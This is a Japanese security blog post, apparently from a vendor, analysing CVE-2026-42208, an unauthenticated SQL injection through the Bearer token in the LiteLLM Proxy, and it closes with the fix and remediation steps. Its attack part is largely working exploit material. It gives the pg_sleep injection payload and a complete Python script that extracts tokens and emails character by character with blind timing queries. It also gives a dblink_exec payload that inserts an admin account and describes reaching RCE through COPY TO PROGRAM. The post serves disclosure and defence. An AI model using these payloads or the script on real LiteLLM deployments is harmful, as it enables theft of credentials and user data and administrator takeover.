当社のAIエンジンNeutronが、UCバークレーのCyberGymベンチマークで96.75%のスコアを記録しました。 詳細を見る

セキュリティ

セキュリティ

CVE-2026-42208の悪用:Bearerトークンを介したLiteLLMの認証不要SQLインジェクション

LiteLLM Proxy APIに存在するCVSS 9.3のクリティカルな認証不要SQLインジェクション脆弱性、CVE-2026-42208の技術的な解説。複数テーブルの複雑な結合に使われる生のSQLクエリ内でBearerトークンが適切にパラメーター化されていないため、ブラインドのブールベースのタイミング攻撃が可能となり、認証されていない攻撃者が仮想APIキー、ユーザー情報、LLMの利用料金ログなどの機密データをデータベースから直接窃取できます。

LiteLLMの認証不要SQLインジェクション - PoCとエクスプロイト

2026年5月22日 · CVSS 9.3 クリティカル · LiteLLM Proxy

CVE ID CVSS 影響を受けるバージョン 修正バージョン
CVE-2026-42208 9.3 Critical (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) >= 1.81.16, < 1.83.7 1.83.7+

CVE-2026-42208の概要:Bearerトークンを介したSQLi

LiteLLMは広く採用されているオープンソースのAIプロキシ兼ゲートウェイであり、開発者は統一されたインターフェースを通じて数百にのぼるLLMプロバイダー(OpenAI、Anthropic、Geminiなど)にまたがるアクセス、ルーティング、利用料金の追跡を管理できます。

LiteLLMがユーザーの認証トークンを検証する方法に、クリティカルな認証不要SQLインジェクション(SQLi)脆弱性が発見されました。アプリケーションがプロキシへのAPI呼び出し(例:/v1/chat/completions)を行おうとする際、仮想APIキーをAuthorization: Bearer <key>ヘッダーで渡します。Prisma ORMは標準的なクエリを安全にパラメーター化しますが、ユーザーとチームの包括的なメタデータを収集するために設計された特定の複雑なデータベースクエリは、生の未サニタイズのトークンを手動で生のSQL文字列へ埋め込んでいます。この見落としにより、認証されていない攻撃者がバックエンドのPostgreSQLデータベースに任意のSQLコマンドを注入できます。

脆弱性:生のSQL文字列の埋め込み

この脆弱性の根本原因は、認証ミドルウェア、具体的にはlitellm/proxy/utils.pyにあるget_data()関数の中に存在します。

認証フローと欠陥

1. 通常のフロー(正規ユーザー) 正規ユーザーが有効なプロキシキー(例:sk-abc123xyz)でリクエストを行うと、LiteLLMはトークンを抽出し、それが"sk-"というプレフィックスで始まるかどうかを確認します。始まっているため、アプリケーションはトークンのSHA-256ハッシュを計算し、ハッシュのみをデータベース層に転送します。

2. 攻撃フロー(SQLインジェクション) 攻撃者が' OR (SELECT pg_sleep(3)) IS NULL --のような悪意あるペイロードを提供すると、アプリケーションは再び"sk-"プレフィックスを確認します。ペイロードが"sk-"で始まっていないため、ハッシュ化のロジックは完全にバイパスされます。アプリケーションはそれを単なるレガシーまたはカスタム形式のトークンだと誤って判断し、生の、ハッシュ化されていないSQLペイロードをそのままデータベース層に転送します。

脆弱なコード

ユーザーのトークン、チーム、プロジェクト、組織、予算上限の「結合ビュー」を構築するために、開発者は必要となるLEFT JOIN操作の複雑さから、標準のORM関数ではなくdb.query_rawを使うことを選びました。

litellm/proxy/utils.pyの中では次のようになっています。

elif table_name == "combined_view":
    # ... 
    if query_type == "find_unique":
        # ...
        sql_query = f"""
            SELECT 
                v.*,
                t.spend AS team_spend, 
                t.max_budget AS team_max_budget,
                t.soft_budget AS team_soft_budget,
                t.tpm_limit AS team_tpm_limit,
                t.rpm_limit AS team_rpm_limit,
                t.models AS team_models,
                -- [Multiple other SELECTs and JOINs]
            FROM "LiteLLM_VerificationToken" AS v
            LEFT JOIN "LiteLLM_TeamTable" AS t ON v.team_id = t.team_id
            -- ...
            WHERE v.token = '{token}'
        """

        response = await self._query_first_with_cached_plan_fallback(sql_query)

Pythonのf-string(f"""... WHERE v.token = '{token}'""")を利用しているため、{token}変数はSQL文に直接連結されます。適切なパラメーター化されたバインディング(例:$1を渡すこと)がなければ、シングルクォート(')を含むユーザー制御の文字列はSQL文字列リテラルから抜け出し、SQLインジェクションにつながります。

概念実証:ブラインドSQLインジェクションとタイミング攻撃

LiteLLM APIはこのクエリから有効なトークンオブジェクトが返されることを期待しているため、注入されたクエリは最終的に認証失敗(401 Unauthorized)となり、HTTPレスポンスから直接のデータベース出力が隠されます。データを抽出するには、攻撃者はブラインドのブールベースのタイミング攻撃に頼る必要があります。

テスト環境のセットアップ

脆弱性を安全に検証するため、脆弱なmain-v1.83.6-nightlyイメージをPostgreSQL 16バックエンドに接続したローカルのDockerラボを構築しました。

docker-compose.yml(抜粋)

services:
  litellm:
    image: ghcr.io/berriai/litellm:main-v1.83.6-nightly
    ports:
      - "4000:4000"
    environment:
      - DATABASE_URL=postgresql://llmproxy:dbpassword9090@db:5432/litellm

ペイロードの送り込み

PostgreSQLのpg_sleep()関数を注入することで、攻撃者はデータベースに実行を一時停止させ、HTTPレスポンスの時間を真偽のオラクルとして利用できます。

脆弱性を確認するための単純なPoCペイロードは次のとおりです。

' OR (SELECT pg_sleep(3)) IS NULL --

これをAuthorization: Bearerヘッダーに置くと、バックエンドは次を実行します。

WHERE v.token = '' OR (SELECT pg_sleep(3)) IS NULL --'

これによりサーバーのレスポンスに3秒の遅延が強制され、注入ポイントが確認できます。

二分探索によるデータ抽出(PoC)

攻撃者は、データベースに一連の真偽の質問を投げかけることで、LiteLLM_SpendLogs(詳細なプロンプト利用状況を含む)やLiteLLM_VerificationToken(ハッシュ化されたAPI認証情報を含む)を含むデータベース全体を体系的に抽出できます。

二分探索アルゴリズムを使い、攻撃者は目的のデータの各文字のASCII値を推測できます。以下は、このタイミング攻撃を自動化して任意のテーブルの任意の行を抽出する、完全かつ設定可能なPythonの概念実証スクリプトです。

import argparse
import json
import sys
import time
import urllib.request

def test_payload(url, token, sleep_time):
    body = json.dumps({"model": "fake", "messages": [{"role": "user", "content": "x"}]}).encode()
    req = urllib.request.Request(url, data=body, method="POST",
        headers={"Authorization": f"Bearer {token}", "Content-Type": "application/json"})
    start = time.time()
    try: urllib.request.urlopen(req, timeout=sleep_time + 1)
    except: pass
    return time.time() - start

def extract_string(url, query, sleep_time=1.0):
    extracted = ""
    idx = 1
    while True:
        # Check end of string
        check_end = f"' OR (LENGTH(({query})) < {idx} AND (SELECT pg_sleep({sleep_time})) IS NOT NULL) --"
        if test_payload(url, check_end, sleep_time) >= sleep_time:
            break

        low, high = 32, 126
        while low <= high:
            mid = (low + high) // 2
            payload = f"' OR (ASCII(SUBSTRING(({query}), {idx}, 1)) > {mid} AND (SELECT pg_sleep({sleep_time})) IS NOT NULL) --"
            if test_payload(url, payload, sleep_time) >= sleep_time:
                low = mid + 1
            else:
                high = mid - 1

        extracted += chr(low)
        sys.stdout.write(chr(low))
        sys.stdout.flush()
        idx += 1
    print()
    return extracted

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="LiteLLM Blind SQLi Data Extractor")
    parser.add_argument("--url", default="http://127.0.0.1:4000/v1/chat/completions")
    parser.add_argument("--table", default="LiteLLM_VerificationToken", help="Table to extract from")
    parser.add_argument("--column", default="token", help="Column to extract")
    parser.add_argument("--row", type=int, default=0, help="Row index (OFFSET)")
    args = parser.parse_args()

    query = f"SELECT {args.column} FROM \"{args.table}\" LIMIT 1 OFFSET {args.row}"
    print(f"[*] Extracting: {query}")
    extract_string(args.url, query)

このスクリプトを実行すると、バックエンドから1文字ずつデータを抽出することに成功し、ユーザーデータベースに保存されているメールアドレスも含まれます。

ブラインドSQLiタイミング攻撃によりLiteLLMユーザーデータベースからユーザーのメールアドレスを抽出するPoCの実行

図1:ブラインドSQLiタイミング攻撃を介して、LiteLLMユーザーデータベースからユーザーのメールアドレスを抽出するPoCの実行。

利用料金ログの漏えい

この分析中に判明した興味深い副次的な検出結果として、LiteLLMは正規のsk-トークンをLiteLLM_VerificationTokenテーブルにSHA-256ハッシュとして安全に保存する一方で、無効なキーのハッシュ化されていない生のペイロードをLiteLLM_SpendLogsテーブルに不用意に記録していることが明らかになりました。正規のキーはログの中でも安全にハッシュ化されたままですが、この挙動は攻撃者のSQLインジェクションの試みの完璧な監査証跡を作り出してしまいます。

高度な権限昇格:RCEとORM保護のバイパス(参考情報)

通常、攻撃者はSQLインジェクションを悪用してデータを変更したり、「スタッククエリ」(例:セミコロン;で区切ってSELECT ... ; INSERT ...のように複数の文を実行すること)を使って権限を昇格させたりします。

この環境では、Prisma ORMドライバーがスタッククエリを厳格にブロックしており、一見すると攻撃者を読み取り専用のSELECTコンテキストに閉じ込めているように見えます。しかし、PostgreSQLの構成や拡張機能によっては、攻撃者はこれを大幅に昇格させることができます。

1. COPY TO PROGRAMを介したRCE データベースがsuperuser(postgresなど)で動作するように誤って構成されていた場合、攻撃者はホストのオペレーティングシステムを標的とすることで、INSERT/UPDATEを実行できないという制約を回避できます。PostgreSQLのCOPY TO PROGRAM機能やpg_read_file()のようなファイル読み取り関数を使うことで、攻撃者は機密ファイル(SSHキーや環境変数など)を窃取したり、データベースサーバー上で完全なリモートコード実行(RCE)を達成したりできます。

2. dblinkを介したスタッククエリのバイパス PostgreSQLのdblink拡張機能(クロスデータベースクエリのための一般的な拡張機能)が有効になっている環境では、ORMのスタッククエリ防御を完全にバイパスできます。dblink_exec()関数をSELECT文に注入することで、攻撃者はデータベースに自分自身への新しい独立した接続を開かせ、任意のINSERTコマンドを実行させることができます。

' OR (SELECT dblink_exec('dbname=litellm ...', 'INSERT INTO "LiteLLM_UserTable" (user_email, password, user_role, ...) VALUES (''hacked@lab.local'', ''scrypt:...'', ''proxy_admin'', ...)')) IS NOT NULL --

dblinkはすべてのPostgreSQL構成でデフォルトで有効になっているわけではありませんが、読み取り専用のデータ窃取脆弱性をLiteLLMダッシュボードの完全な管理者乗っ取りへと変える強力な昇格経路を浮き彫りにしています。

LiteLLM 1.83.7での修正

修正された挙動では、危険な生の文字列の埋め込みが取り除かれています。{token}を直接f-stringに挿入する代わりに、開発者はパラメーター化されたバインディング($1)を使うようにクエリを更新し、攻撃者のペイロードをSQL構文から安全に切り離しました。

# Fixed Code (LiteLLM 1.83.7+)
sql_query = """
    SELECT 
        v.*,
        t.spend AS team_spend,
        ...
    FROM "LiteLLM_VerificationToken" AS v
    LEFT JOIN "LiteLLM_TeamTable" AS t ON v.team_id = t.team_id
    WHERE v.token = $1
"""
response = await self._query_first_with_cached_plan_fallback(sql_query, token)

この変更により、データベースドライバーはペイロードを純粋に文字列リテラルとして扱うため、注入用の文字がクエリのロジックを変えることを防ぎます。

緊急の緩和策

すぐにアップグレードできない場合は、litellm_config.yamlのgeneral_settings配下にdisable_error_logs: trueを設定することで、公式の回避策を実装できます。この設定は、認証されていない入力が脆弱なデータベースクエリに到達する特定のエラー処理経路を取り除き、攻撃ベクトルを事実上無力化します。

修復

  • 今すぐ更新する: LiteLLMインスタンスを最新の修正済みリリース(v1.83.7以降)に直ちにアップグレードしてください。呼び出し元から渡される値は、別個のパラメーター化された変数として安全にデータベースへ渡されるようになりました。
  • パラメーター化クエリを使う: 開発者はSQLクエリを構築する際、文字列の埋め込み(f"...")を避けなければなりません。SQL解析の操作を防ぐため、常にORM関数に頼るか、生のクエリにはパラメーター化されたバインディング($1)を使ってください。
  • データベースのハードニング: データベース管理者は、厳密に必要でない限り、dblinkのようなPostgreSQL拡張機能を事前に削除または制限すべきです。さらに、データベースユーザー(例:llmproxy)が必要最小限の権限で動作することを徹底し、superuserアクセスやCOPY TO PROGRAMによるファイル実行権限を厳格に禁止してください。
  • ログの監視: LiteLLM_SpendLogsとデータベースのスロークエリログを監査し、異常なpg_sleepの遅延や、api_keyフィールドに現れる生のSQLペイロードがないか確認してください。

参考資料